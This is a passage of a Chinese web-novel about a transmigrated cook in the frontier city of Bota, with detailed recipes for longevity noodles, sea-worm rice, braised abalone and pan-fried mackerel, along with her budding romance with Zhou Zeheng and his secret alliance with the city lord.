黄嫩的娃娃菜和雪白的金针菇,又正正好中和了粉丝的单一。其间他又加了勺红油辣椒酱,泛着油光的汤面上,浮出星星点点的红。
侍卫本想在他吃下的第一口时出言阻止,可现在这意犹未尽的样子,只得让他将话生生咽了回去。
“不愧是出自姑娘之手的汤粉,果真好吃。”
态度180°的转弯,让开萨尔从震惊到松了一口气,“这是本店最新的吃食,原也是想着云吞今日没有了,不想让为此跑来一趟的客人失望,这才上新的。”
这么一折腾,纪允茉猜出了些许缘由,没好气的说:“公子若是不尝上一口,我今日哪怕是长了三张嘴也难辨清白。”
“不喜欢吃什么,避开不点就是了,这般大喊大叫,影响店中生意。”
霍炎辰没反驳,带有歉意的开口:“是我的不对。”他说着取下腰间的荷包,摸出一两银子放到桌上,“再来三碗花甲粉带走。”
“对了,三日后便是我的生辰宴。不知霍某是否有幸,能请姑娘来府上帮厨?”
他说的满心期许,一双狗狗眼就那么盯着纪允茉,也拿出自己的诚意,“工钱好说,姑娘随意开价。”
纪允茉目光扫视过他全身,这样昂贵的绸缎,腰带、帽子都缀有玉石,想来是个有钱人家的傲慢公子哥了。
想必帮厨一天赚的工钱也不会少。
活儿不多,工钱又高的事,她没理由拒绝。
“可以,但我去的话,所做的菜由我来定。不知霍公子可能接受?”
霍炎辰忙应下,“自是可以,只要姑娘愿意来霍某的生辰宴就行。”
“当然,这件事情光是我一个人拿主意也不行,还得问问掌柜的意见。”纪允茉刚将话题抛给开萨尔,后者立马就接了过去。
“可以,当然可以。”
能去城主之子的生辰宴帮厨的,要么是外地聘请过来的大厨,要么是出了名的酒楼的主厨。这样能间接性的给锦蜀酒楼打广告的机会,他可不会错过。
几人有说有笑将事情定了下来,而周则衡佯装在一处收拾上桌客人离开的桌面,听着听着连跟着擦桌的动作都加重了,最后索性将十几个碗碟一齐拿了起来,在暗中注视着霍炎辰离开的背影,眼神阴鸷到无人敢靠近。
—
博塔城中除了常年驻守此处的军队外,就属霍城主职权大,往下数的大户就是做生意的本地人。
故而此次霍炎辰的生辰宴,来的都是彼此能说得上话的大族和都蔚。宴会半月前就开始筹划了,霍城主极为重视,前前后后请了许多大厨来。
他是个爱吃的,平日里总爱研究些新菜式来。
纪允茉从酒楼中将食材悉数打包,同周则衡一道出发了。
两人递了帖子,踏门而入的那一刻就被眼前的景象惊住了,庭院中摆满了各类名花,丫鬟有序的分成两队,一队端着做好的吃食往前厅送去,一队从端着空托盘自前厅而出。
“二位跟我来。”一家仆替他们带路。
往后厨的一路上,纪允茉好奇的打量着府上的每一处,大到远处的凉亭,小到门前悬挂的灯笼。
至前厅进门,右转绕到另一间院子后,再往前行至一段路,这后厨便在左手边。路程不长,各处布置摆设却足以让她震惊。
待到带路的家仆走后,她小声同
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身旁的周则衡道:“你还真别说,这城主府还真是气派。”
“你喜欢这样的府宅?”
纪允茉摊手,“这样的豪宅谁不喜欢呢?”
周则衡又问:“那你为什么同意霍炎辰的要求,来他的生辰宴帮厨?”
“他给开的工钱高呗!”她反问道:“不然还能是为了什么?”
纪允茉说着,拿起竹筐中的食材往里走去,周则衡跟在她的身后,眉眼弯弯,上前两步,拿起她手上的竹筐,轻声说道:“还是我来吧!”
城主府上的后厨极大,六个灶炉,十几名庖厨在忙着备菜、掌勺。
纪允茉撸起袖子,也加入了忙碌的队伍中去。
瓷碗中单手磕入两个鸡蛋打散,锅中油热后倒入黄橙橙的蛋液,翻炒直至蛋液成团后盛出备用。提前处理好的虾尾放入油锅,虾尾慢慢弯曲变红,煎出香味后放葱、姜丝继续翻炒两下,再加上香菇和白玉菇。
菇类炒软后,放煎好的鸡蛋,加水没过食材,水开后放面条。锅中水咕嘟咕嘟的冒着泡,纪允茉又放了一勺生抽、半勺蚝油、胡椒粉和盐调味。
煮至五六分钟,临出锅前又放了青菜点缀。汤汁浓郁,面条劲道,香菇、白玉菇和虾尾的鲜,让人光是闻着出锅前的白烟就忍不住咽口水。
拿了青花瓷碗盛上一碗,这冒着热气的长寿面便做好了。
先前给庆生的人煮长寿面,还从未有加虾尾进去,一围观的庖厨问道:“这面叫什么?光是闻着就叫人流口水。”
纪允茉将盛好的面放上木托盘,一丫鬟端起后,她道:“虾仁菌菇汤面。”
“想着霍公子生辰,生辰宴上吃碗长寿面,再好不过了。”
锅中还留有些汤面,她顺势盛了出来,递给面前的人,“还有些,尝尝看?”
那人也不客气,夹了筷面,就着汤一齐咽下肚中。汤汁所用的蚝油本就提鲜,又加了虾仁和菌菇,就更鲜了,火候控制的也极好,面条不软而是十分的劲道。
呼呼的吹着热气,几口下去,面碗就见了底。
“小娘子真是好手艺。”那人毫不客气的夸赞着,转身端来了摆盘还剩的些蒸鹅,“也尝尝咱的手艺。”
这本是他想等宴会结束后打包带走的,吃了纪允茉的汤面,也索性将东西拿了出来。
“这也是摆盘之后剩下的一些,今日我可是做了不少的蒸鹅,这不,剩的还有这么多。”怕两人误以为他私贪,他解释着。
面对美食,纪允茉自是不客气的,拿起筷箸就夹了块。
蒸鹅肉质软烂入味而不柴,许是放了胡椒的缘故,吃了两块只觉得浑身发暖,倒是比咸鹅有滋味。
“这位兄弟,你也吃啊。”见周则衡迟迟不肯动筷,那人催促着。
纪允茉以为他不好意思,重新拿了副筷子,夹起一块,递到他的面前,“真的很好吃,你尝一口。”
她习惯了吃到好吃的,就给身边的闺蜜也拿一个尝尝看。
周则衡目光下移,停留在她鼓鼓囊囊的腮帮上,又看着身前人微微踮脚夹至跟前的蒸鹅,耳尖泛红,一时之间竟不知该如何是好。
9. 海肠捞饭
募地,她突然反应过来,迅速拿了灶台上的白瓷碗,将蒸鹅放了进去,连碗塞到了他的手中,而后转身择起了韭菜。
“你尝尝看,真的很好吃的。”纪允茉不敢抬头看他,随口说着。
真是手比脑子快!
她暗暗的吐槽着,低头择菜的间隙,还不时的抬头偷偷看他一眼。
周则衡定定的看着手中的白瓷碗,兀地笑了起来,他望向纪允茉,啃了口蒸鹅,也道:“着实好吃。”
一旁做蒸鹅的庖厨未看出些什么,只一味认同着自己的手艺,“我就说吧,没人会不喜欢我这蒸鹅。”
他说着,将还剩的半包蒸鹅重新包好,“那我也忙去了。”
“唉,好。”纪允茉应着,飞速的择着手中的一大把韭菜,周则衡将碗筷放到灶台边,也跟着站在她的身旁,择起了韭菜。
“这些配菜交给我来择就好,你去忙其它的吧。”
“嗯,好。”她机械性的回着,拿起葫芦瓢舀水洗净了手,趁着手上的水未干,胡乱拍了拍发烫的脸颊,试图让自己冷静下来。
拿出洗好的姜块儿,分别切成姜片和姜末备用,五花肉切成指盖大小的肉丁后,锅中的水正好煮沸。
放入洗好的海肠,加了姜片、葱段和从系统处兑换的料酒去腥,烫了三秒后拿笊篱捞出,晾凉后切丁。
“韭菜洗好之后切一下。”纪允茉交代着,做好吃的时,方才的那点尴尬瞬间烟消云散,让她重新集中注意力在眼下的食材上。
周则衡点点头照做,他右手拿刀,左手按住韭菜,右手手腕轻动,落刀的声音小而速度快,刀法极好,切出来的韭菜长短近乎一致。
纪允茉有些诧异的看了一眼,要知道,这样的刀工,没个三五年的经验绝对达不到。而身侧之人,看着怎么也不像是会拿刀整日泡在后厨忙碌的。
“马上就好。”周则衡看她盯着自己手下的韭菜,连忙说着。
纪允茉没回话,只是开始调起料汁来。
两勺蚝油和生抽,一勺豆瓣酱、白糖,再加上半勺酱油,拿汤匙搅拌均匀了。
大灶上蒸着米饭,不时的有伙夫加柴看火,纪允茉拿了菊瓣瓷碗盛了一碗来备用。
锅中倒油,单手磕入鸡蛋炒散后下入米饭,翻炒至米饭粒粒分明,泛着油光后盛出。洗净铁锅烧热后,热锅凉油,倒入猪肉丁,煸炒出油脂,再加了葱末、姜末和调制好的料汁,炒出香味,顺势放入海肠。
翻炒两下后,再加一勺淀粉勾芡,‘哗’的一声,淀粉水倒入锅中的瞬间,冒出白烟。待到汤汁收的差不多,倒入韭菜,炒至韭菜断生后出锅。
拿了琉璃碗来,盛上炒饭,末了再加上一锅铲炒好的海肠肉丁浇上去,汤汁顺着泛油光的米饭流进碗底,蛋炒饭被汤汁包裹,添了分咸香味。
冒着热气的海肠捞饭刚盛好三碗,端着木托盘的丫鬟就悉数端走了。
纪允茉做的多,周则衡也拿起琉璃碗盛炒饭,一碗盛好后,她给铲上一锅铲的海肠肉丁,装饰好放在一旁。
流水线般,来来回回盛了十碗的海肠捞饭。
待到最后一铲海肠浇盖在炒饭上,她同那端菜的丫鬟道:“这便是今日的最后一份菜系了。”
丫鬟应了声,小心的端着海肠捞饭,赶上前往前厅的队伍中去了。
纪允茉也收着自己带来的东西,周则衡清洗起来她用过的碗筷。方才过来蹭一口虾仁菌菇汤面的庖厨见状,隔着两个灶台的间距,问道:“你们这么快都忙完了?”
“欸,是的。”纪允茉抬头应着,余下的调料和食材尽数放入背篓中,“等下席上见了。”
“成,我这也马上好了。”
城主府上前厅宴请贵客,也在与后厨一墙之隔的小院中布置了五张桌子,专供今日前来掌勺的庖厨休息、吃饭。
周则衡熟练的将背篓一背,来了席上,还没坐下就对纪允茉道:“纪姑娘,周某今日还有些事。既然都已忙完,姑娘先用午膳。”
五张桌子占满了整个院子,三张靠东放,两张朝西放,男女分开了坐,中间还用了屏风隔开。
纪允茉问:“忙到午时了,不吃些东西再去吗?”
“不了。”周则衡说着背起背篓,转身朝外走去。
纪允茉没再说什么,只是匆匆奔向席间,顾不得旁人的目光,拿了几张肉饼,包了油纸,赶上周则衡的脚步。
“带着吃。”她递给周则衡,故作老成的说:“我阿娘说过,吃饱饭才有力气干活儿。”
“多谢!”
手中的肉饼隔着油纸透出香气,这是十九年来第一次有人叮嘱他要好好吃饭,一股暖流自心头萌生。
周则衡自出生起,爹娘相继离世,他由年迈的祖父抚养长大。祖父为了他能上的了私塾,整日省吃俭用,砍柴售卖。
而他为考取功名更是日益刻苦读书,本以为能高中带祖父过上好日子,谁成想,不仅诗文被盗,成了他人之作,放榜名单上也不见他的名字。
一朝伸冤不成,反被流放。
这样的噩耗传到了祖父耳中,祖父一口气没上来,生生离他去了。
回首往事,周则衡不觉的冷笑出声,手中还带着温度的肉饼偏又给了他这个可怜人带来一丝温暖。
“周公子,这边请。”城主府上一身夜行衣,脸蒙黑布遮得严实只露出一双眼睛的侍卫,替他打开藏于青砖下的暗门,视线下移,门下看不到尽头的阶梯里只有火苗闪烁跳动着的火把。
“城主已经在等您了。”
周则衡没有说什么,抬脚踩上阶梯,穿过幽长的走道而后右转,霎时间豁然开朗,布局似是书房一般,四周放着数不清的书卷,中间一张石桌和四把竹椅。
霍玄正品着煮好的茶水,远远瞧见火把映照下,周则衡拉长的影子,道:“子宥,来了。我这借着喝醉的名头离了辰儿的生辰宴。”
周则衡同他行了一礼,在他的招呼声中落座,开门见山的说:“纪尚书一家的惨案,想必也是出自二皇子之手。”
“如今朝堂之上,二皇子一派同太子一派人明争暗斗,拉拢势力。这纪尚书,想必是两者都不愿加入,落得个家破人亡。”
霍玄长长的叹了口气,“也就我们这些边疆小城为官的侥幸免于两者争斗。”
“子宥想为纪尚书一家鸣冤,也为自己鸣冤。”周则衡说着起身行一大礼,“还往城主相助。”
霍玄赶忙扶起他,语气带着一丝焦急,“我若是不决定帮你,就不会同你在此处见面了。”
“
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如今朝堂之上两派相争,贪官走私,寒门子弟读书做官可谓难上加难。这种风气,我是看不下去的。你的科考落榜之事,我已派人暗中去察了。”
霍玄从怀中摸出提前准备好的东西,递给他,“这是两张过所①,还有户籍都办好了。”
“还是用着你们先前的名,一字未改。”
周则衡打开查看,纪允茉的名字映入眼帘,他眼睫微抬,“城主怎知……”
霍玄抬手打断他的话,“自那个姑娘进城的那一刻起,我便知道了她是何人。”
“纪家的冤情,明眼人都看得出,我没必要为难一个姑娘家。”
周则衡双手抱拳,“多谢城主。”
两人商议着如何调查纪尚书一族的冤情,又聊了些关于博塔本地的作物种植。
估摸着天色渐晚,周则衡告别了霍城主,脚下生风般的往锦蜀酒楼赶去。
彼时华灯初上,夜市开放了的缘故,此刻许多摊贩备好了食材,锅中的烟火气不断,街上挤满了人,很是热闹。
周则衡在人流之间穿梭,心里只有一个念头,将纪允茉有了户籍,可以承包下那湾湖水养鱼了。
彼时的纪允茉正筹备着明日要上新菜系的食材,她正挑选着努尔采买来的鲍鱼,将它们装在一旁盛水的木盆之中。
后厨人来来往往,近乎都在包着云吞。夜市开放的缘故,许多人这几日没吃到云吞,有从下午排队等到现在的。
周则衡在一众人之中,搜寻着她的身影。
纪允茉有所感应一般,抬头与他的视线对上,她道:“给你留了些大盘鸡,还在锅里小火煨着。”
“纪姑娘,跟我来一下,有个好消息要告诉你。”周则衡示意她出去说。
纪允茉似懂非懂的看着她,拿干布擦去手上的水渍,两人来到了酒楼后院。
这会儿正忙,见四下无人,周则衡匿于长廊的木柱之后,拿出户籍和过所,道:“这些东西都办好了,你可以承包那湾湖了。”
纪允茉接过看了,反应过来这是这个朝代的居民.身份证和进入博塔所需要的‘签证’,她满是惊愕的问:“你从哪里整来的这些东西?”
“现在都有办假.证的了?”
“这份户籍是符合本朝律法的,不是假的。不过你不再是尚书家二小姐,而只是个平民。除了身份有所变化,其余一切不变。”
周则衡话锋一转,“别管我是怎么办到的,我只是……,只是不想所有人都像我这么不幸。要是有想做却没能去做的事,尽管去好了。”
“谢谢。”纪允茉忙将东西收好,没再继续问下去。
不愧是男主光环,办事就是顺畅,连这些东西都能搞来。
她心中感慨着,当即道:“走,去尝尝大盘鸡,很好吃的。”
“土豆软绵,鸡肉香而不柴,再配上米饭,那叫一个绝。”纪允茉说着来了后厨,将给他留的员工餐晚饭从锅中端了出来。
“喏,饭菜都给你留好了。”她扬扬下巴,“我绝对是个称职的上班搭子。”
周则衡听着她说出的陌生话语,缄默不语,只是笑着接过碗筷。
有人愿为他留一碗热乎的饭菜,点一盏灯,待他而归。
这样作伴的平常,就很好很好。
10. 红烧鲍鱼
是以夜市开放的缘故,锦蜀酒楼打烊的时间也跟着往后推了一个时辰,相对应的,他们的休息时间和工钱也跟着做了适当的调整。
这样一来,原本还在头疼工时延长的人,瞬间都有了干劲儿,尤其是纪允茉。
她起了个大早去将昨夜里挑出来的鲍鱼尽数去壳,全都洗净之后,三横两束的切开改了花刀,锅中舀来滚水,处理好的鲍鱼下锅,加了料酒焯水去腥。
同她一样早起的还有备菜的沙拉买提,他的衣袖刚卷到小臂上,抬头便瞧见了纪允茉将焯好水的鲍鱼盛放到一旁的陶盆中,就凑了过去,问:“阿姐这是又要做什么好吃的?”
“红烧鲍鱼。”待最后一个鲍鱼被捞起,纪允茉转头小声道:“等会儿做好了给你留一个尝尝。”
鲍鱼在博塔十文钱一个的贩卖,小贩大多放置铁架上烤炙,价钱算不上便宜,却又因肉质鲜美,有着益精明目、养血降噪的功效,深受富家子弟喜爱。
沙拉买提一听这话,双眼放光似的说:“真的吗?阿姐。”
“真的,我还能骗你不成?”纪允茉说着同他一齐剥起了大蒜,却被沙拉买提一把夺过手中的蒜瓣。
“这点小事就交给我好了,阿姐还没吃朝食吧?”他说着将纪允茉往外推去,“快去快去,不能饿着肚子干活儿。等你吃完朝食回来,这些配菜就能备的差不多了。”
“好,我就去。”
沙拉买提是整个后厨中年纪最小的,又嘴甜惹人爱,没多久就和纪允茉熟络起来,纪允茉做了东西,总是会偷偷给他留些出来。
一碗肉蛋羹,一杯咸奶茶。
这便是锦蜀酒楼为他们这些打工人所提供的朝食。
淡黄色的蛋羹蒸的极好,撒着翠绿葱花,光滑平整的表面,舀起一勺,蛋羹在汤匙间晃动,布丁般的入口即化,底部是咸香的肉末,伴着蛋羹软糯的口感,晨起来上一口,叫人很是满足。
加了酥油的咸奶茶刚端起,茶香就萦绕在鼻尖,牛奶醇厚,咸味恰到好处。
一顿结合了中原同博塔地区的朝食下肚,纪允茉只觉得早起也不是什么很痛苦的事情了。
在酒楼工作,没了前世为了赶工作早饭都是匆忙解决的急促感,待她坐下来吃完饭再折返回后厨时,沙拉买提果真已经将大半的配菜准备好了。
依旧是按照惯例,纪允茉在做新菜式时,总会有两三个旁观学习的主厨。一是可以批量做出菜式,以供酒楼所需;二是纪允茉拿了高工钱,自是要提供菜品的制作方法。
一勺生抽、料酒、蚝油,盐罐中又舀来一小勺的盐,撒上胡椒粉和淀粉,最后拿瓷碗盛了半碗清水,将其全都搅匀了。
蒜粒、青椒油热下锅,炒出香味后,加入备好的鲍鱼,挨个儿翻了两个面后,倒入调好的料汁,这时去了两根柴,转小火,锅中料汁咕嘟咕嘟的冒着泡儿,等到料汁收的差不多时,加勺酱油上色。
拿了雕着花纹的白瓷盘,连带着汤汁一齐用锅铲盛入盘中,末了再撒上一小撮葱花作为点缀。
夹起一块来,直流汁水,鲍鱼劲道弹牙,一口一个,很是入味。
纪允茉道:“红烧鲍鱼,这就成了。”
闻着鲍鱼出锅时的香味,几个在一旁观摩学习的主厨也忍不住咽了咽口水。纪允茉见状单手将盘子往前一端,道:“正好一人一个的尝尝。”
在面对美食上,几个没有谦虚的推脱,一个个迫不及待的拿了筷箸夹起一个鲍鱼,咬下的瞬间,味蕾瞬间被打开,几人连连称赞着。
纪允茉转身将方才小碗中剩的一个鲍鱼出了后厨,端给挑水回来的沙拉买提,蹲下身子小声道:“快吃,这是给你留的。”
这会儿人群都围着分食那盘鲍鱼,倒没人留意她的去向。
倒不是说开萨尔小气,连新出的菜系都舍不得分给所有人吃,只是这一个鲍鱼着实算不上便宜。
为了方便主厨做菜,尝了也就罢了,其他人是绝无可能尝上一口的。
“谢谢阿姐,真好吃。”
纪允茉笑笑,没有说话,她知道像沙拉买提这样的孩子,本该是读书的年纪,跑来酒楼做帮工,月钱不会高于一千五百文,干的活儿又苦又累。
若不是家中实在是没办法了,谁会舍得让这么小的孩子出来谋营生。
—
新出的红烧鲍鱼销量如纪允茉所想的一般好,来酒楼里吃饭的,都要点上一盘尝尝看。
“一碗云吞、一盘红烧鲍鱼,再来个馕。”
“欸,好嘞,您这边坐。”
“二姐姐,我说的就是这家。”一头戴翡翠玉簪的小娘子,拉着身旁人撒娇般的说:“可是说好了,昨个儿我给你买了城西那家的牡丹饼和槐花糕。”
“我可是排了好长的队呢,说好了今天陪我来吃饭,二姐姐可不许反悔。”
身形微胖,鹅黄长裙的女子,伸手朝她的眉心轻轻一点,道:“你呀,就是个爱吃的。”
“想吃什么,等会儿尽管点,二姐姐请你。”
“太好了!”
一直候在门口的店小二见状,长臂一伸,做了个请的动作,笑道:“二位,请——”
“可是要一间雅间?”他边说,边回头。
身着鹅黄色长裙的女子点点头,随着他上了二楼,刚落座,店小二就忙倒茶介绍了起来,“今个儿有新出的红烧鲍鱼,二位可要来上一份尝尝?”
头戴翡翠玉簪的女子道:“来两碗云吞,一碗要拌了麻酱的,一碗……”
她顿了下,转头问道:“二姐姐那碗云吞要个什么样的?”想着身旁人先前没来吃过这云吞,又介绍了起来,“有紫菜虾皮的、有麻酱和红油干拌的。”
看着她扳着指头数数的样子,鹅黄长裙的女子忍不住轻笑出声,“同你一样便好。”
“我们阿华是个会吃的,跟着你选,二姐姐还怕吃到不好吃的东西?”
沈秋华有些不好意思的笑了起来,继续道:“再来碗花甲粉,还有今日新上的红烧鲍鱼,六串羊肉串。”
她说着,店小二飞速的记着。
“先这些就好。”
“欸,
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好。”
待店小二关上雅间的门退出去后,沈秋薇端起面前的茶盏,轻缀了口,“阿华这每餐都是如此,鱼肉从不忌口,却生生不会长胖,可真叫二姐姐羡慕。”
“我怕是喝口水都能长胖。”她说着放下手中的茶盏,“爹爹调官,来博塔任职。”
“博塔那么多先前从未见过的吃食,我还都未曾尝过。”沈秋薇捏了捏圆滚滚的小臂,“可惜了……”
沈秋华生性爽朗,倒不觉着有什么,宽慰道:“二姐姐这是说的哪里话。”
“你这称不上胖,况且博塔此处同京城不同,又不以痩为美。”
“再者,单单是以高矮胖瘦去论一人,岂不是太低俗了些。”
这一凡话下去,沈秋薇眉间愁色消减了半分,转而道:“这几日只顾着想减肥的法子,一日三餐都不敢多吃两口,要是有道菜吃了也不会胖就好了。”
话音刚落,纪允茉端着两碗云吞,敲了门后而进。
正值午时,来吃饭的人多,人手不够,她就同沙拉买提一同来给客人送菜了。
两碗云吞放下后,纪允茉拿着木托盘,立于红木雕花的木桌一侧,问道:“姑娘说的这种菜系,还真有。”
沈秋薇放下手中的汤匙,眼中带着期冀,“当真?”
“在我的家乡,有不少女子,甚至是一些为练出健硕肌肉的男子,为了保持身材,都会做些好吃的减脂餐,来维持体重。”
纪允茉开始款款道来,“有道菜,我也会做。”
“如今正值初春,正是吃马鲛鱼的季节。我能将马鲛鱼为姑娘做成一道减脂餐,这样既不错失了吃鱼,也不怕会长胖。”
“这位小娘子可是这锦蜀酒楼里的主厨?”沈秋薇从喜悦中回过神,保持起一丝警惕的问。
“正是。”
此话刚一出口,沈秋华就惊呼出口,“你不会就是会做这些菜式的厨娘吧?”
纪允茉再次点点头回应,而沈秋华却不淡定了,拿筷箸夹起一只云吞,“二姐姐,她可厉害了。这云吞做的一绝,还有这花甲粉。”
听到这里,沈秋薇的心中再次燃起希望的火苗来,“姑娘若是能将马鲛鱼做成口中所说的减脂餐,我定多多来光顾。”
“不成问题。”纪允茉算了算时间,“小姐三日后来,食材还有调料都需提前备好,需要些时间。”
“三日后,酒楼将会出这一道新的菜式。”
“好,那就这么定下了。”沈秋薇取下腰间的荷包,摸出两块儿碎银来,一人一块儿给了纪允茉和沙拉买提。
两人齐声道谢后,出了雅间。
“阿姐,这是真的银子啊。”沙拉买提咬了咬碎银,又拿在手中,左看右看。
纪允茉揉揉他的脑袋,“那是自然,这大户人家的小姐给小费真是一点儿都不手软,真好。”
三月天,经历了一整个冬季的蛰伏与修养,马鲛鱼个头大、肉质肥,储存够了营养,吃起来可不是鲜香肥美。
要论该如何将其做成减脂餐,纪允茉自有她的方法。
11. 香煎马鲛鱼
早春的天,风拂过脸颊时带着些许暖意,天刚蒙蒙亮时,努尔就坐上牛车,扬起手中的竹竿,敲击着木架做的车身,连带着吆喝一声,催促着牛加速。
昨夜里纪允茉同开萨尔商议之后,努尔就领了出去采买的任务,是以路途远,往返需两日,也便早早的出发了。
纪允茉今日休息,睡到日上三竿,光线透过纸窗照了进来,她也只是翻了个身,扯着身上的被子,将头蒙上。
‘咚咚咚’的敲门声响起时,纪允茉有些不耐烦的问:“谁呀?”
谁家好人会在休息日不到中午就起的?
烦躁感瞬间涌了上来,没等敲门的人回答,她接着说:“最好是有要紧的事儿跟我说啊。”
隔着被子的缘故,纪允茉的声音听起来闷闷的。
周则衡站在门外,手中的酸奶麻花隔着油纸,直往外冒热气,他道:“纪姑娘,不是有意叨扰。你先前说的要承包下一片咸水湖养鱼的事情,我已经替你置办好给贴了,霍城主也愿做这个保人。”
“如若可以,今日便可交租金,置办好一切。”
博塔地域的咸水湖都属官府所有,若是要承包养鱼,除了要有官府批准的给贴,还须得有个有声望的保人。
排在买酸奶麻花的队伍中,周则衡正发愁怎么找这个保人时,恰逢霍玄的马车路过,他与之打了招呼后,便说起这事。
霍玄二话不说就应下了。
“今早买的酸奶麻花,买多了,纪姑娘要起来尝尝吗?”思绪拉回,周则衡将那油纸包的麻花护在怀中,怕它凉了。
纪允茉听他说所有的事情都安排妥当了,只剩自己过去交租金后,一个鲤鱼打挺,三两下穿好衣裳,只拿木簪挽了简单的堕马髻后,匆忙开门。
“我现在就可以出发了!”
整个过程用时不到三分钟,速度快到周则衡都没有反应过来,前者已经先他一步,从他身边而过。
“给你。”
纪允茉打开油纸,尚有余温的酸奶麻花外皮酥脆,内里绵软,酸奶馅料也给的很足,可谓是一口下去,三种口感:脆、绵、软。
“还挺好吃的。”她又啃了一大口,含糊不清的说。
周则衡缓缓道来:“这是谢过上次霍炎辰生日宴那次,纪姑娘拿给我的肉饼。”
“跟我至于分的这么清吗?”纪允茉双手捧着油纸,转头看他,“我们可是有着生死过命的交情。”
两人一路上躲避贼人的追杀,好不容易来了这博塔落脚,可不是过命的交情。
“纪姑娘所言极是。”
纪允茉摸出藏在袖中的荷包,鼓鼓囊囊的,她晃动两下后,立即又收了回去,低声道:“这两个月以来的工钱,我都换成银子攒起来了。”
“这次租地,怕是都要花光了。”
怎料,下一秒,另一个塞的鼓鼓囊囊的荷包出现在她的面前,周则衡伸手递给她,“给你,这些也全是我这两个月攒的。”
纪允茉侧身躲开,快步往前走去,只留下一句,“这是你的钱,我不能要。”
周则衡足足比她高了一个脑袋,身高腿长,两步便追上了她,挡在她的跟前,庄重的说:“若不是纪姑娘有着一手好厨艺,在锦蜀酒楼谋个好职位的同时,也给周某谋了个营生。”
“周某并非忘恩负义之人,自进了博塔之后,处处受纪姑娘照拂。周某自是也希望能为纪姑娘做些事,以报答恩情。”
一凡至情纯真的话下来,纪允茉竟不知该怎么回答是好。
这番操作,同以往看过所有的故事情节中的男主都不同。
往往都是女主在路上捡了奄奄一息的男主回去,救治成功后,男主以身相许,好的结局就是自此男女主过上了幸福的生活。
但,往往事实不会如此,必定要经历一番挫折,要么是虐文女主救了男主,却被男主杀了家人,虐身虐心;要么就是女主卷入男主的纷争之中,经历上种种挫折,而后两人终于成功在一起。
这男主倒是一上来就帮她,打工两个月赚的钱还全都给她。
不对劲!
十分有十二分的不对劲!
纪允茉在心中暗暗吐槽,捏着下巴,眼睛未眯,打量着他,而后道:“说吧,你有什么其它的阴谋?”
周则衡正想为自己辩解时,却听到她又道:“不对,很是不对。我又不是这个故事里的主角,我担心什么?”
“那就谢谢了。”她接过周则衡递来的荷包,“这钱就当是你投资合伙的了,往后我养鱼有了收益,我们四六分成。”
“不必,给了纪姑娘的,周某不会再收回。”
纪允茉抬手示意他打住,“那可不行,我也不是那喜欢占便宜的人。”
一下午的功夫,在周则衡的陪同之下,纪允茉将承包咸水湖的事情彻底的办好了,她掂量着手中轻飘飘的荷包,却异常的开心。
“接下来就是继续好好的攒钱,然后去买些海盐。”她扳着指头算了起来,自言自语的说着,“那么大一片湖,后续还要请人来帮着做工,定是也得不少花银子。”
“买海盐?”周则衡听她喃喃的说着,好奇的问了一嘴。
提起这个,纪允茉来了兴趣,“自然是为了日后养鱼养虾做准备。”
“博塔本地人大多养的都是牛羊,虽然他们也吃鱼,但都是从邻地采购来的。要是本地就能生产鱼虾这些,岂不是能让百姓不出城就可买到鲜活的鱼虾。”
周则衡会心一笑,“倘若真的能实现你所说的,那博塔种粮难,滩涂地多的难点便可迎刃而解了。”
“肯定会的。”纪允茉同他并行走着,夕阳余晖,将两人的身影拉的很长很长。
—
三天的时间,一晃而过。
纪允茉同沈秋薇约定好,三日后,中饭一定让她吃上煎马鲛鱼,而沈家一对姐妹,早早的就来了。
“一碗花甲粉,一碗紫菜虾皮汤底的云吞。”雅间落座后,沈秋华便迫不及待的开始央着点饭菜。
“可还再要些什么?”店小二道。
沈秋华转头笑着看向沈秋薇,还未开口,撒娇央求的眼神就出卖了她。
见沈秋薇没有一丝责怪的意味,她又默默竖起一根手指,道:“再来上一盘红烧鲍鱼。”
“好嘞。”
沈秋薇理了理衣裙,目光落在对面的沈秋华身上,“一早便吃这些油腻的,小心你的肚子会受不住。”
“不会的,二姐姐。”沈秋华眨着双无辜的眼,“就是不要告诉父亲。”
“前几日只是风寒而已,便让我忌嘴,整天送来些寡淡无味的,见不得半点荤腥,我怎受的住?”
沈秋薇道:“爹爹也是担心你。”
“二姐姐,我都好了,忌嘴什么的,就免了吧。”沈秋华微微起身,半个身子前倾,拉着沈秋薇的衣袖,撒娇似的说。
像府里那只贪吃的橘
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猫。
这神情,让沈秋薇一下子就联想到那只橘猫,她笑着应了,“既然都已经带你出府吃朝食,我定不会同父亲说的。”
得到了这句承诺,沈秋华这才撒开她的衣袖,重新坐到自己的位置上。
二人吃罢朝食,又点了些葡萄干和梅子,配着壶滇红,闲聊着等待正午纪允茉所做的减脂餐。
锦蜀酒楼的后厨,纪允茉将努尔采买的马鲛鱼处理好之后,切成约莫两指宽的切片,加了姜丝、黑胡椒、海盐、料酒和生抽、蚝油,抓拌均匀。
由着是减脂餐,用油方面也有讲究,她拿出了提前从系统那里用最后的钱兑换出的橄榄油和黄油,交代着一旁观摩的厨师,“切记,煎鱼的时候,只能用这种油。”
在这个朝代,橄榄并没有被引进,黄油就更不好解释了,她索性找了个合适的理由,“这油是我调配出来的,拿来煎马鲛鱼,最合适不过了。”
一旁观摩学习的人没有质疑,她做菜时喜欢调制料汁的事情,早已被众人接受了。现在说自己调制油出来,倒也不奇怪。
切片的马鲛鱼腌制上一刻钟之后,热锅倒入橄榄油,夹起马鲛鱼,放入锅中,热油滋滋作响,一面煎个两三分钟就赶紧翻面,再加上整粒的大蒜和黄油,马鲛鱼的两面被煎至金黄,香气扑鼻。
夹出控油之后,再切了两块黄柠檬作为装饰和配料摆盘,瞬间就有种西餐的意味了。
这煎马鲛鱼,倒也简单。除了用油讲究,没什么难度,而且从制作到出餐,更是比云吞那些要快的多。
“再撒上去些欧芹碎作为装饰就更好了,可惜暂时是没有的。”纪允茉小声嘀咕,欣赏着这一盘摆盘精致的煎鱼。
她迅速又做出了一盘,道:“沈家的两位小姐今日可来了?”
一端菜的店小二应道:“早早的就来了,在二楼的雅间。”
“这份菜送上去吧。”
“得嘞。”
就这样,每盘有着三块煎马鲛鱼的瓷盘呈现在沈家姐妹的跟前,店小二道:“纪小娘子说,这是两位姑娘提前找她约定的减脂餐——煎马鲛鱼。”
“现下做好了,让两位姑娘尝尝。纪小娘子还说,吃的时候挤上柠檬汁,味道会更好。”
沈秋薇拿出提前备好的碎银,递给店小二,道:“替我谢过纪姑娘。”
店小二接了碎银,满脸笑意,“一定一定。”
马鲛鱼外皮煎的脆,内里的肉紧实,挤了柠檬汁上去,没那么油,倒是让几日为了减肥,没敢吃肉的沈秋薇吃的上.瘾。
份量小,却很有饱腹感。
